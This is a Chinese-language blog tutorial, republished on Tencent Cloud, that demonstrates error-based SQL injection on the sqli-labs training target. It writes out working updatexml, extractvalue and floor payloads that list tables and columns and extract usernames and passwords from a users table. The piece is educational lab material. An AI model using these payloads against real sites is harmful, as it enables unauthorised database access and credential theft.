前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【SQL注入】关于报错注入的一些测试

【SQL注入】关于报错注入的一些测试

作者头像
一名白帽的成长史
发布2019-10-08 16:01:40
8740
发布2019-10-08 16:01:40
举报
Hello,各位小伙伴周六好~

这里是你们的小编Monster~

最近有小伙伴留言问到报错注入是怎么一回事?

小编其实也只有用过updatexml这一个报错函数...

刚好今天有时间,我们就一起来试试一些常见的报错注入函数的效果吧~

Part.1

实验环境

实验环境

我们这里使用sqli-labs靶机来进行测试,这是一个练习sql注入的专用靶机,如下:

感兴趣的小伙伴可以去下载一下。

这里我们打开class 5,用这一关来进行实验:

这一关只会显示查询结果,不会显示查询内容。

例如输入?id=1,此时查询内容存在,显示如下:

输入?id=100000,此时查询内容不存在,显示如下:

输入id=1' ,语法报错如下:

根据上面的报错,输入?id=1' and 1=1 --+ 语法上显示正常。确定payload:

此SQL注入页面不显示查询内容,只显示查询对错,因此可以通过布尔盲注的方法进行查询。今天测试的是报错注入,此处我们先不进行展开。

class5 源代码如下:

我们来试试这三种报错注入函数:updatexml(),extractvalue(),floor()

Part.2

updatexml 方法

updatexml 方法

固定格式为:

?id=1' and updatexml(1,concat(0x7e,(******),0x7e),1)--+

我们先查询一下当前数据库的版本信息:

查询当前登陆用户:

查询当前所处的数据库:

查询当前数据库中的表名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

查询users表中的字段:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

最后,查询用户名密码:

?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users),0x7e),1)--+

显示出错,是因为报错信息每次只能显示1行,所以需要配合limit功能,修改payload如下:

?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users limit 0,1),0x7e),1)--+

查询下一位用户信息:

?id=1' and updatexml(1,concat(0x7e,(select concat_ws('%23',id,username,password) from users limit 1,1),0x7e),1)--+

以上,通过updatexml()函数查出了用户信息。

Part.3

其他

其他

其他两种报错注入语句的使用方法大同小异,这里给出简单演示。

(1)extractvalue 方法

固定语句:

?id=1' and extractvalue(1, concat(0x5c, (select ******))) --+

查询用户信息:

?id=1' and extractvalue(1, concat(0x5c, (select concat_ws('%23',id,username,password) from users limit 0,1))) --+

(2)floor 方法

固定语句

?id=1' and (select 1 from (select count(),concat((***), floor(rand(0)2))x from information_schema.columns group by x)a) --+

查询用户信息:

?id=1' and (select 1 from (select count(),concat((select concat_ws('%23',id,username,password) from users limit 0,1), floor(rand(0)2))x from information_schema.columns group by x)a) --+

以上就是一次报错注入的简单演示。

当然,报错注入所涉及的函数远不止上面3种,大家可以自行收集。

Part.4

结语

好啦,以上就是今天的全部内容了~

Peace!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一名白帽的成长史 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档